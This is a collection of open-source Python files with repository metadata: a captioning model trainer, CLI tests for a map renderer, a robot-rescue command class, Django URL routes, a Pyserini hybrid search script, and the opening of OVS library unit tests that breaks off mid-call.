self.decoder(imgs, caps, caplens) targets = caps_sorted[:, 1:] # pack_padded_sequence is an easy trick to do this scores = pack_padded_sequence(scores, decode_lengths, batch_first=True)[0] targets = pack_padded_sequence(targets, decode_lengths, batch_first=True)[0] # calc loss loss = self.loss_function(scores, targets) # doubly stochastic attention regularization (in paper: show, attend and tell) if self.caption_model == 'att2all': loss += self.tau * ((1. - alphas.sum(dim = 1)) ** 2).mean() # clear gradient of last batch self.decoder_optimizer.zero_grad() if self.encoder_optimizer is not None: self.encoder_optimizer.zero_grad() # backward loss.backward() # clip gradients if self.grad_clip is not None: clip_gradient(self.decoder_optimizer, self.grad_clip) if self.encoder_optimizer is not None: clip_gradient(self.encoder_optimizer, self.grad_clip) # update weights self.decoder_optimizer.step() if self.encoder_optimizer is not None: self.encoder_optimizer.step() # set step for tensorboard step = (epoch - 1) * self.len_epoch + i self.writer.set_step(step=step, mode='train') # keep track of metrics top5 = accuracy(scores, targets, 5) losses.update(loss.item(), sum(decode_lengths)) top5accs.update(top5, sum(decode_lengths)) batch_time.update(time.time() - start) start = time.time() # print status if i % self.print_freq == 0: print( 'Epoch: [{0}][{1}/{2}]\t' 'Batch Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Data Load Time {data_time.val:.3f} ({data_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Top-5 Accuracy {top5.val:.3f} ({top5.avg:.3f})'.format( epoch, i, len(self.train_loader), batch_time = batch_time, data_time = data_time, loss = losses, top5 = top5accs ) ) def validate(self) -> float: self.decoder.eval() # eval mode (no dropout or batchnorm) if self.encoder is not None: self.encoder.eval() batch_time = AverageMeter() losses = AverageMeter() top5accs = AverageMeter() start = time.time() ground_truth = list() # ground_truth (true captions) for calculating BLEU-4 score prediction = list() # prediction (predicted captions) # explicitly disable gradient calculation to avoid CUDA memory error # solves the issue #57 with torch.no_grad(): # Batches for i, (imgs, caps, caplens, allcaps) in enumerate(self.val_loader): # move to device, if available imgs = imgs.to(self.device) caps = caps.to(self.device) caplens = caplens.to(self.device) # forward encoder if self.encoder is not None: imgs = self.encoder(imgs) # forward decoder if self.caption_model == 'att2all': scores, caps_sorted, decode_lengths, alphas, sort_ind = self.decoder(imgs, caps, caplens) else: scores, caps_sorted, decode_lengths, sort_ind = self.decoder(imgs, caps, caplens) # since we decoded starting with <start>, the targets are all words after <start>, up to <end> targets = caps_sorted[:, 1:] # remove timesteps that we didn't decode at, or are pads scores_copy = scores.clone() scores = pack_padded_sequence(scores, decode_lengths, batch_first = True)[0] targets = pack_padded_sequence(targets, decode_lengths, batch_first = True)[0] loss = self.loss_function(scores, targets) if self.caption_model == 'att2all': loss += self.tau * ((1. - alphas.sum(dim = 1)) ** 2).mean() losses.update(loss.item(), sum(decode_lengths)) top5 = accuracy(scores, targets, 5) top5accs.update(top5, sum(decode_lengths)) batch_time.update(time.time() - start) start = time.time() if i % self.print_freq == 0: print('Validation: [{0}/{1}]\t' 'Batch Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Top-5 Accuracy {top5.val:.3f} ({top5.avg:.3f})\t'.format(i, len(self.val_loader), batch_time = batch_time, loss = losses, top5 = top5accs) ) allcaps = allcaps[sort_ind] for j in range(allcaps.shape[0]): img_caps = allcaps[j].tolist() img_captions = list( map( lambda c: [w for w in c if w not in {self.word_map['<start>'], self.word_map['<pad>']}], img_caps ) ) ground_truth.append(img_captions) _, preds = torch.max(scores_copy, dim = 2) preds = preds.tolist() temp_preds = list() for j, p in enumerate(preds): temp_preds.append(preds[j][:decode_lengths[j]]) preds = temp_preds prediction.extend(preds) assert len(ground_truth) == len(prediction) metrics = Metrics(ground_truth, prediction, self.rev_word_map) bleu4 = metrics.belu[3] cider = metrics.cider print( '\n * LOSS - {loss.avg:.3f}, TOP-5 ACCURACY - {top5.avg:.3f}, BLEU-4 - {bleu}, CIDEr - {cider}\n'.format( loss = losses, top5 = top5accs, bleu = bleu4, cider = cider ) ) return bleu4 def run_train(self) -> None: for epoch in range(self.start_epoch, self.epochs): if self.epochs_since_improvement == 20: break if self.epochs_since_improvement > 0 and self.epochs_since_improvement % 8 == 0: adjust_learning_rate(self.decoder_optimizer, 0.8) if self.fine_tune_encoder: adjust_learning_rate(self.encoder_optimizer, 0.8) self.train(epoch = epoch) recent_bleu4 = self.validate() is_best = recent_bleu4 > self.best_bleu4 self.best_bleu4 = max(recent_bleu4, self.best_bleu4) if not is_best: self.epochs_since_improvement += 1 print("\nEpochs since last improvement: %d\n" % (self.epochs_since_improvement,)) else: self.epochs_since_improvement = 0 save_checkpoint( epoch = epoch, epochs_since_improvement = self.epochs_since_improvement, encoder = self.encoder, decoder = self.decoder, encoder_optimizer = self.encoder_optimizer, decoder_optimizer = self.decoder_optimizer, caption_model = self.caption_model, bleu4 = recent_bleu4, is_best = is_best )

true

790c70b70ca4c956926737136d747698a3c0c9c8

4,357

py

Python

tests/test_command_line.py

Strubbl/map-machine

e2c6f8cd373bc5dba322129112cfa58874a8321b

[ "MIT" ]

null

tests/test_command_line.py

Strubbl/map-machine

e2c6f8cd373bc5dba322129112cfa58874a8321b

[ "MIT" ]

null

tests/test_command_line.py

Strubbl/map-machine

e2c6f8cd373bc5dba322129112cfa58874a8321b

[ "MIT" ]

null

""" Test command line commands. """ from pathlib import Path from subprocess import PIPE, Popen __author__ = "Sergey Vartanov" __email__ = "me@enzet.ru" from xml.etree import ElementTree from xml.etree.ElementTree import Element from map_machine.ui.cli import COMMAND_LINES LOG: bytes = ( b"INFO Constructing ways...\n" b"INFO Constructing nodes...\n" b"INFO Drawing ways...\n" b"INFO Drawing main icons...\n" b"INFO Drawing extra icons...\n" b"INFO Drawing texts...\n" ) def error_run(arguments: list[str], message: bytes) -> None: """Run command that should fail and check error message.""" with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode != 0 assert error == message def run(arguments: list[str], message: bytes) -> None: """Run command that should fail and check error message.""" with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode == 0 assert error == message def test_wrong_render_arguments() -> None: """Test `render` command with wrong arguments.""" error_run( ["render", "-z", "17"], b"CRITICAL Specify either --input, or --boundary-box, or --coordinates " b"and --size.\n", ) def test_render() -> None: """Test `render` command.""" run( COMMAND_LINES["render"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() # 4 expected elements: `defs`, `rect` (background), `g` (outline), # `g` (icon), 4 `text` elements (credits). assert len(root) == 8 assert len(root[3][0]) == 0 assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_render_with_tooltips() -> None: """Test `render` command.""" run( COMMAND_LINES["render_with_tooltips"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() # 4 expected elements: `defs`, `rect` (background), `g` (outline), # `g` (icon), 4 `text` elements (credits). assert len(root) == 8 assert len(root[3][0]) == 1 assert root[3][0][0].text == "natural: tree" assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_icons() -> None: """Test `icons` command.""" run( COMMAND_LINES["icons"], b"INFO Icons are written to out/icons_by_name and out/icons_by_id.\n" b"INFO Icon grid is written to out/icon_grid.svg.\n" b"INFO Icon grid is written to doc/grid.svg.\n", ) assert (Path("out") / "icon_grid.svg").is_file() assert (Path("out") / "icons_by_name").is_dir() assert (Path("out") / "icons_by_id").is_dir() assert (Path("out") / "icons_by_name" / "Röntgen apple.svg").is_file() assert (Path("out") / "icons_by_id" / "apple.svg").is_file() def test_mapcss() -> None: """Test `mapcss` command.""" run( COMMAND_LINES["mapcss"], b"INFO MapCSS 0.2 scheme is written to out/map_machine_mapcss.\n", ) assert (Path("out") / "map_machine_mapcss").is_dir() assert (Path("out") / "map_machine_mapcss" / "icons").is_dir() assert ( Path("out") / "map_machine_mapcss" / "icons" / "apple.svg" ).is_file() assert (Path("out") / "map_machine_mapcss" / "map_machine.mapcss").is_file() def test_element() -> None: """Test `element` command.""" run( COMMAND_LINES["element"], b"INFO Element is written to out/element.svg.\n", ) assert (Path("out") / "element.svg").is_file() def test_tile() -> None: """Test `tile` command.""" run( COMMAND_LINES["tile"] + ["--cache", "tests/data"], LOG + b"INFO Tile is drawn to out/tiles/tile_18_160199_88904.svg.\n" b"INFO SVG file is rasterized to out/tiles/tile_18_160199_88904.png.\n", ) assert (Path("out") / "tiles" / "tile_18_160199_88904.svg").is_file() assert (Path("out") / "tiles" / "tile_18_160199_88904.png").is_file()

32.274074

80

0.614184

from pathlib import Path from subprocess import PIPE, Popen __author__ = "Sergey Vartanov" __email__ = "me@enzet.ru" from xml.etree import ElementTree from xml.etree.ElementTree import Element from map_machine.ui.cli import COMMAND_LINES LOG: bytes = ( b"INFO Constructing ways...\n" b"INFO Constructing nodes...\n" b"INFO Drawing ways...\n" b"INFO Drawing main icons...\n" b"INFO Drawing extra icons...\n" b"INFO Drawing texts...\n" ) def error_run(arguments: list[str], message: bytes) -> None: with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode != 0 assert error == message def run(arguments: list[str], message: bytes) -> None: with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode == 0 assert error == message def test_wrong_render_arguments() -> None: error_run( ["render", "-z", "17"], b"CRITICAL Specify either --input, or --boundary-box, or --coordinates " b"and --size.\n", ) def test_render() -> None: run( COMMAND_LINES["render"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() assert len(root) == 8 assert len(root[3][0]) == 0 assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_render_with_tooltips() -> None: run( COMMAND_LINES["render_with_tooltips"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() assert len(root) == 8 assert len(root[3][0]) == 1 assert root[3][0][0].text == "natural: tree" assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_icons() -> None: run( COMMAND_LINES["icons"], b"INFO Icons are written to out/icons_by_name and out/icons_by_id.\n" b"INFO Icon grid is written to out/icon_grid.svg.\n" b"INFO Icon grid is written to doc/grid.svg.\n", ) assert (Path("out") / "icon_grid.svg").is_file() assert (Path("out") / "icons_by_name").is_dir() assert (Path("out") / "icons_by_id").is_dir() assert (Path("out") / "icons_by_name" / "Röntgen apple.svg").is_file() assert (Path("out") / "icons_by_id" / "apple.svg").is_file() def test_mapcss() -> None: run( COMMAND_LINES["mapcss"], b"INFO MapCSS 0.2 scheme is written to out/map_machine_mapcss.\n", ) assert (Path("out") / "map_machine_mapcss").is_dir() assert (Path("out") / "map_machine_mapcss" / "icons").is_dir() assert ( Path("out") / "map_machine_mapcss" / "icons" / "apple.svg" ).is_file() assert (Path("out") / "map_machine_mapcss" / "map_machine.mapcss").is_file() def test_element() -> None: run( COMMAND_LINES["element"], b"INFO Element is written to out/element.svg.\n", ) assert (Path("out") / "element.svg").is_file() def test_tile() -> None: run( COMMAND_LINES["tile"] + ["--cache", "tests/data"], LOG + b"INFO Tile is drawn to out/tiles/tile_18_160199_88904.svg.\n" b"INFO SVG file is rasterized to out/tiles/tile_18_160199_88904.png.\n", ) assert (Path("out") / "tiles" / "tile_18_160199_88904.svg").is_file() assert (Path("out") / "tiles" / "tile_18_160199_88904.png").is_file()

true

790c70dd7b2d68161eee7a1e5b35a2002b99546d

816

py

Python

rcrs_core/commands/AKTell.py

roborescue/rcrs-core-python

9e48e5778ee7ccd524d3f9ba47d23d892e175d66

[ "BSD-3-Clause" ]

1

2022-03-11T12:27:29.000Z

rcrs_core/commands/AKTell.py

roborescue/rcrs-core-python

9e48e5778ee7ccd524d3f9ba47d23d892e175d66

[ "BSD-3-Clause" ]

1

2022-01-12T19:57:51.000Z

rcrs_core/commands/AKTell.py

roborescue/rcrs-core-python

9e48e5778ee7ccd524d3f9ba47d23d892e175d66

[ "BSD-3-Clause" ]

null

from rcrs_core.commands.Command import Command from rcrs_core.worldmodel.entityID import EntityID from rcrs_core.connection import URN from rcrs_core.connection import RCRSProto_pb2 class AKTell(Command): def __init__(self, agent_id: EntityID, time: int, message: str) -> None: super().__init__() self.urn = URN.Command.AK_TELL self.agent_id = agent_id self.message = message.encode('utf-8') self.time = time def prepare_cmd(self): msg = RCRSProto_pb2.MessageProto() msg.urn = self.urn msg.components[URN.ComponentControlMSG.AgentID].entityID = self.agent_id.get_value() msg.components[URN.ComponentControlMSG.Time].intValue = self.time msg.components[URN.ComponentCommand.Message].rawData = self.message return msg

35.478261

92

0.708333

from rcrs_core.commands.Command import Command from rcrs_core.worldmodel.entityID import EntityID from rcrs_core.connection import URN from rcrs_core.connection import RCRSProto_pb2 class AKTell(Command): def __init__(self, agent_id: EntityID, time: int, message: str) -> None: super().__init__() self.urn = URN.Command.AK_TELL self.agent_id = agent_id self.message = message.encode('utf-8') self.time = time def prepare_cmd(self): msg = RCRSProto_pb2.MessageProto() msg.urn = self.urn msg.components[URN.ComponentControlMSG.AgentID].entityID = self.agent_id.get_value() msg.components[URN.ComponentControlMSG.Time].intValue = self.time msg.components[URN.ComponentCommand.Message].rawData = self.message return msg

true

790c7255a53b1468fcafec62c1b123a267fb8466

782

py

Python

project/urls.py

lucasazevedo/visitor-control

2daed747f68d04b1bda98bd51fe0876044e1cc54

[ "MIT" ]

null

project/urls.py

lucasazevedo/visitor-control

2daed747f68d04b1bda98bd51fe0876044e1cc54

[ "MIT" ]

null

project/urls.py

lucasazevedo/visitor-control

2daed747f68d04b1bda98bd51fe0876044e1cc54

[ "MIT" ]

null

from django.contrib import admin from django.urls import path from django.contrib.auth import views as auth_views from dashboard.views import index from visitantes.views import registrar_visitante, informacoes_visitante, finalizar_visita urlpatterns = [ path('admin/', admin.site.urls), path('', index, name='index'), path('registrar-visitante/', registrar_visitante, name='registrar_visitante'), path('visitantes/<int:id>/', informacoes_visitante, name='informacoes_visitante'), path('visitantes/<int:id>/finalizar-visita/', finalizar_visita, name='finalizar_visita'), path('login/', auth_views.LoginView.as_view(template_name='login.html'), name='login'), path('logout/', auth_views.LogoutView.as_view(template_name='logout.html'), name='logout'), ]

46

95

0.757033

from django.contrib import admin from django.urls import path from django.contrib.auth import views as auth_views from dashboard.views import index from visitantes.views import registrar_visitante, informacoes_visitante, finalizar_visita urlpatterns = [ path('admin/', admin.site.urls), path('', index, name='index'), path('registrar-visitante/', registrar_visitante, name='registrar_visitante'), path('visitantes/<int:id>/', informacoes_visitante, name='informacoes_visitante'), path('visitantes/<int:id>/finalizar-visita/', finalizar_visita, name='finalizar_visita'), path('login/', auth_views.LoginView.as_view(template_name='login.html'), name='login'), path('logout/', auth_views.LogoutView.as_view(template_name='logout.html'), name='logout'), ]

true

790c756cda0990da4d1266cee7ef46ccdca9f80f

8,453

py

Python

pyserini/hsearch/__main__.py

leungjch/pyserini

04aa129910adf45266fe93a4d3947cdac2030570

[ "Apache-2.0" ]

null

pyserini/hsearch/__main__.py

leungjch/pyserini

04aa129910adf45266fe93a4d3947cdac2030570

[ "Apache-2.0" ]

null

pyserini/hsearch/__main__.py

leungjch/pyserini

04aa129910adf45266fe93a4d3947cdac2030570

[ "Apache-2.0" ]

null

# # Pyserini: Reproducible IR research with sparse and dense representations # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import argparse import json import os import sys from tqdm import tqdm from pyserini.dsearch import SimpleDenseSearcher from pyserini.query_iterator import get_query_iterator, TopicsFormat from pyserini.output_writer import get_output_writer, OutputFormat from pyserini.search import ImpactSearcher, SimpleSearcher from pyserini.hsearch import HybridSearcher from pyserini.dsearch.__main__ import define_dsearch_args, init_query_encoder from pyserini.search.__main__ import define_search_args, set_bm25_parameters # Fixes this error: "OMP: Error #15: Initializing libomp.a, but found libomp.dylib already initialized." # https://stackoverflow.com/questions/53014306/error-15-initializing-libiomp5-dylib-but-found-libiomp5-dylib-already-initial os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' def define_fusion_args(parser): parser.add_argument('--alpha', type=float, metavar='num', required=False, default=0.1, help="alpha for hybrid search") parser.add_argument('--hits', type=int, required=False, default=10, help='number of hits from dense and sparse') parser.add_argument('--normalization', action='store_true', required=False, help='hybrid score with normalization') parser.add_argument('--weight-on-dense', action='store_true', required=False, help='weight on dense part') def parse_args(parser, commands): # Divide argv by commands split_argv = [[]] for c in sys.argv[1:]: if c in commands.choices: split_argv.append([c]) else: split_argv[-1].append(c) # Initialize namespace args = argparse.Namespace() for c in commands.choices: setattr(args, c, None) # Parse each command parser.parse_args(split_argv[0], namespace=args) # Without command for argv in split_argv[1:]: # Commands n = argparse.Namespace() setattr(args, argv[0], n) parser.parse_args(argv, namespace=n) return args if __name__ == '__main__': parser = argparse.ArgumentParser(description='Conduct a hybrid search on dense+sparse indexes.') commands = parser.add_subparsers(title='sub-commands') dense_parser = commands.add_parser('dense') define_dsearch_args(dense_parser) sparse_parser = commands.add_parser('sparse') define_search_args(sparse_parser) fusion_parser = commands.add_parser('fusion') define_fusion_args(fusion_parser) run_parser = commands.add_parser('run') run_parser.add_argument('--topics', type=str, metavar='topic_name', required=False, help="Name of topics. Available: msmarco-passage-dev-subset.") run_parser.add_argument('--hits', type=int, metavar='num', required=False, default=1000, help="Number of hits.") run_parser.add_argument('--topics-format', type=str, metavar='format', default=TopicsFormat.DEFAULT.value, help=f"Format of topics. Available: {[x.value for x in list(TopicsFormat)]}") run_parser.add_argument('--output-format', type=str, metavar='format', default=OutputFormat.TREC.value, help=f"Format of output. Available: {[x.value for x in list(OutputFormat)]}") run_parser.add_argument('--output', type=str, metavar='path', required=False, help="Path to output file.") run_parser.add_argument('--max-passage', action='store_true', default=False, help="Select only max passage from document.") run_parser.add_argument('--max-passage-hits', type=int, metavar='num', required=False, default=100, help="Final number of hits when selecting only max passage.") run_parser.add_argument('--max-passage-delimiter', type=str, metavar='str', required=False, default='#', help="Delimiter between docid and passage id.") run_parser.add_argument('--batch-size', type=int, metavar='num', required=False, default=1, help="Specify batch size to search the collection concurrently.") run_parser.add_argument('--threads', type=int, metavar='num', required=False, default=1, help="Maximum number of threads to use.") args = parse_args(parser, commands) query_iterator = get_query_iterator(args.run.topics, TopicsFormat(args.run.topics_format)) topics = query_iterator.topics query_encoder = init_query_encoder(args.dense.encoder, args.dense.tokenizer, args.run.topics, args.dense.encoded_queries, args.dense.device, args.dense.query_prefix) if os.path.exists(args.dense.index): # create searcher from index directory dsearcher = SimpleDenseSearcher(args.dense.index, query_encoder) else: # create searcher from prebuilt index name dsearcher = SimpleDenseSearcher.from_prebuilt_index(args.dense.index, query_encoder) if not dsearcher: exit() if os.path.exists(args.sparse.index): # create searcher from index directory if args.sparse.impact: ssearcher = ImpactSearcher(args.sparse.index, args.sparse.encoder, args.sparse.min_idf) else: ssearcher = SimpleSearcher(args.sparse.index) else: # create searcher from prebuilt index name if args.sparse.impact: ssearcher = ImpactSearcher.from_prebuilt_index(args.sparse.index, args.sparse.encoder, args.sparse.min_idf) else: ssearcher = SimpleSearcher.from_prebuilt_index(args.sparse.index) if not ssearcher: exit() set_bm25_parameters(ssearcher, args.sparse.index, args.sparse.k1, args.sparse.b) if args.sparse.language != 'en': ssearcher.set_language(args.sparse.language) hsearcher = HybridSearcher(dsearcher, ssearcher) if not hsearcher: exit() # build output path output_path = args.run.output print(f'Running {args.run.topics} topics, saving to {output_path}...') tag = 'hybrid' output_writer = get_output_writer(output_path, OutputFormat(args.run.output_format), 'w', max_hits=args.run.hits, tag=tag, topics=topics, use_max_passage=args.run.max_passage, max_passage_delimiter=args.run.max_passage_delimiter, max_passage_hits=args.run.max_passage_hits) with output_writer: batch_topics = list() batch_topic_ids = list() for index, (topic_id, text) in enumerate(tqdm(query_iterator, total=len(topics.keys()))): if args.run.batch_size <= 1 and args.run.threads <= 1: hits = hsearcher.search(text, args.fusion.hits, args.run.hits, args.fusion.alpha, args.fusion.normalization, args.fusion.weight_on_dense) results = [(topic_id, hits)] else: batch_topic_ids.append(str(topic_id)) batch_topics.append(text) if (index + 1) % args.run.batch_size == 0 or \ index == len(topics.keys()) - 1: results = hsearcher.batch_search( batch_topics, batch_topic_ids, args.fusion.hits, args.run.hits, args.run.threads, args.fusion.alpha, args.fusion.normalization, args.fusion.weight_on_dense) results = [(id_, results[id_]) for id_ in batch_topic_ids] batch_topic_ids.clear() batch_topics.clear() else: continue for topic, hits in results: output_writer.write(topic, hits) results.clear()

45.691892

153

0.655507

import argparse import json import os import sys from tqdm import tqdm from pyserini.dsearch import SimpleDenseSearcher from pyserini.query_iterator import get_query_iterator, TopicsFormat from pyserini.output_writer import get_output_writer, OutputFormat from pyserini.search import ImpactSearcher, SimpleSearcher from pyserini.hsearch import HybridSearcher from pyserini.dsearch.__main__ import define_dsearch_args, init_query_encoder from pyserini.search.__main__ import define_search_args, set_bm25_parameters os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' def define_fusion_args(parser): parser.add_argument('--alpha', type=float, metavar='num', required=False, default=0.1, help="alpha for hybrid search") parser.add_argument('--hits', type=int, required=False, default=10, help='number of hits from dense and sparse') parser.add_argument('--normalization', action='store_true', required=False, help='hybrid score with normalization') parser.add_argument('--weight-on-dense', action='store_true', required=False, help='weight on dense part') def parse_args(parser, commands): split_argv = [[]] for c in sys.argv[1:]: if c in commands.choices: split_argv.append([c]) else: split_argv[-1].append(c) args = argparse.Namespace() for c in commands.choices: setattr(args, c, None) parser.parse_args(split_argv[0], namespace=args) for argv in split_argv[1:]: n = argparse.Namespace() setattr(args, argv[0], n) parser.parse_args(argv, namespace=n) return args if __name__ == '__main__': parser = argparse.ArgumentParser(description='Conduct a hybrid search on dense+sparse indexes.') commands = parser.add_subparsers(title='sub-commands') dense_parser = commands.add_parser('dense') define_dsearch_args(dense_parser) sparse_parser = commands.add_parser('sparse') define_search_args(sparse_parser) fusion_parser = commands.add_parser('fusion') define_fusion_args(fusion_parser) run_parser = commands.add_parser('run') run_parser.add_argument('--topics', type=str, metavar='topic_name', required=False, help="Name of topics. Available: msmarco-passage-dev-subset.") run_parser.add_argument('--hits', type=int, metavar='num', required=False, default=1000, help="Number of hits.") run_parser.add_argument('--topics-format', type=str, metavar='format', default=TopicsFormat.DEFAULT.value, help=f"Format of topics. Available: {[x.value for x in list(TopicsFormat)]}") run_parser.add_argument('--output-format', type=str, metavar='format', default=OutputFormat.TREC.value, help=f"Format of output. Available: {[x.value for x in list(OutputFormat)]}") run_parser.add_argument('--output', type=str, metavar='path', required=False, help="Path to output file.") run_parser.add_argument('--max-passage', action='store_true', default=False, help="Select only max passage from document.") run_parser.add_argument('--max-passage-hits', type=int, metavar='num', required=False, default=100, help="Final number of hits when selecting only max passage.") run_parser.add_argument('--max-passage-delimiter', type=str, metavar='str', required=False, default='#', help="Delimiter between docid and passage id.") run_parser.add_argument('--batch-size', type=int, metavar='num', required=False, default=1, help="Specify batch size to search the collection concurrently.") run_parser.add_argument('--threads', type=int, metavar='num', required=False, default=1, help="Maximum number of threads to use.") args = parse_args(parser, commands) query_iterator = get_query_iterator(args.run.topics, TopicsFormat(args.run.topics_format)) topics = query_iterator.topics query_encoder = init_query_encoder(args.dense.encoder, args.dense.tokenizer, args.run.topics, args.dense.encoded_queries, args.dense.device, args.dense.query_prefix) if os.path.exists(args.dense.index): dsearcher = SimpleDenseSearcher(args.dense.index, query_encoder) else: dsearcher = SimpleDenseSearcher.from_prebuilt_index(args.dense.index, query_encoder) if not dsearcher: exit() if os.path.exists(args.sparse.index): if args.sparse.impact: ssearcher = ImpactSearcher(args.sparse.index, args.sparse.encoder, args.sparse.min_idf) else: ssearcher = SimpleSearcher(args.sparse.index) else: if args.sparse.impact: ssearcher = ImpactSearcher.from_prebuilt_index(args.sparse.index, args.sparse.encoder, args.sparse.min_idf) else: ssearcher = SimpleSearcher.from_prebuilt_index(args.sparse.index) if not ssearcher: exit() set_bm25_parameters(ssearcher, args.sparse.index, args.sparse.k1, args.sparse.b) if args.sparse.language != 'en': ssearcher.set_language(args.sparse.language) hsearcher = HybridSearcher(dsearcher, ssearcher) if not hsearcher: exit() output_path = args.run.output print(f'Running {args.run.topics} topics, saving to {output_path}...') tag = 'hybrid' output_writer = get_output_writer(output_path, OutputFormat(args.run.output_format), 'w', max_hits=args.run.hits, tag=tag, topics=topics, use_max_passage=args.run.max_passage, max_passage_delimiter=args.run.max_passage_delimiter, max_passage_hits=args.run.max_passage_hits) with output_writer: batch_topics = list() batch_topic_ids = list() for index, (topic_id, text) in enumerate(tqdm(query_iterator, total=len(topics.keys()))): if args.run.batch_size <= 1 and args.run.threads <= 1: hits = hsearcher.search(text, args.fusion.hits, args.run.hits, args.fusion.alpha, args.fusion.normalization, args.fusion.weight_on_dense) results = [(topic_id, hits)] else: batch_topic_ids.append(str(topic_id)) batch_topics.append(text) if (index + 1) % args.run.batch_size == 0 or \ index == len(topics.keys()) - 1: results = hsearcher.batch_search( batch_topics, batch_topic_ids, args.fusion.hits, args.run.hits, args.run.threads, args.fusion.alpha, args.fusion.normalization, args.fusion.weight_on_dense) results = [(id_, results[id_]) for id_ in batch_topic_ids] batch_topic_ids.clear() batch_topics.clear() else: continue for topic, hits in results: output_writer.write(topic, hits) results.clear()

true

790c756cf18615f4e523d293f14c696d95a09f44

14,175

py

Python

quantum/tests/unit/openvswitch/test_ovs_lib.py

hyunsun/quantum

40c4ec9495d05620a3cced4cc2bb98d7f6e52bbb

[ "Apache-2.0" ]

1

2021-04-18T15:23:19.000Z

quantum/tests/unit/openvswitch/test_ovs_lib.py

hyunsun/quantum

40c4ec9495d05620a3cced4cc2bb98d7f6e52bbb

[ "Apache-2.0" ]

null

quantum/tests/unit/openvswitch/test_ovs_lib.py

hyunsun/quantum

40c4ec9495d05620a3cced4cc2bb98d7f6e52bbb

[ "Apache-2.0" ]

null

# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012, Nicira, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # @author: Dan Wendlandt, Nicira, Inc. import mox from quantum.agent.linux import ovs_lib, utils from quantum.openstack.common import uuidutils from quantum.tests import base class OVS_Lib_Test(base.BaseTestCase): """ A test suite to excercise the OVS libraries shared by Quantum agents. Note: these tests do not actually execute ovs-* utilities, and thus can run on any system. That does, however, limit their scope. """ def setUp(self): super(OVS_Lib_Test, self).setUp() self.BR_NAME = "br-int" self.TO = "--timeout=2" self.mox = mox.Mox() self.root_helper = 'sudo' self.br = ovs_lib.OVSBridge(self.BR_NAME, self.root_helper) self.mox.StubOutWithMock(utils, "execute") self.addCleanup(self.mox.UnsetStubs) def test_vifport(self): """create and stringify vif port, confirm no exceptions""" self.mox.ReplayAll() pname = "vif1.0" ofport = 5 vif_id = uuidutils.generate_uuid() mac = "ca:fe:de:ad:be:ef" # test __init__ port = ovs_lib.VifPort(pname, ofport, vif_id, mac, self.br) self.assertEqual(port.port_name, pname) self.assertEqual(port.ofport, ofport) self.assertEqual(port.vif_id, vif_id) self.assertEqual(port.vif_mac, mac) self.assertEqual(port.switch.br_name, self.BR_NAME) # test __str__ foo = str(port) self.mox.VerifyAll() def test_reset_bridge(self): utils.execute(["ovs-vsctl", self.TO, "--", "--if-exists", "del-br", self.BR_NAME], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "add-br", self.BR_NAME], root_helper=self.root_helper) self.mox.ReplayAll() self.br.reset_bridge() self.mox.VerifyAll() def test_delete_port(self): pname = "tap5" utils.execute(["ovs-vsctl", self.TO, "--", "--if-exists", "del-port", self.BR_NAME, pname], root_helper=self.root_helper) self.mox.ReplayAll() self.br.delete_port(pname) self.mox.VerifyAll() def test_add_flow(self): ofport = "99" vid = 4000 lsw_id = 18 utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,dl_src=ca:fe:de:ad:be:ef" ",actions=strip_vlan,output:0"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=1,actions=normal"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,actions=drop"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,in_port=%s,actions=drop" % ofport], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=4,in_port=%s,dl_vlan=%s," "actions=strip_vlan,set_tunnel:%s,normal" % (ofport, vid, lsw_id)], root_helper=self.root_helper) utils.execute(["ovs-ofctl", 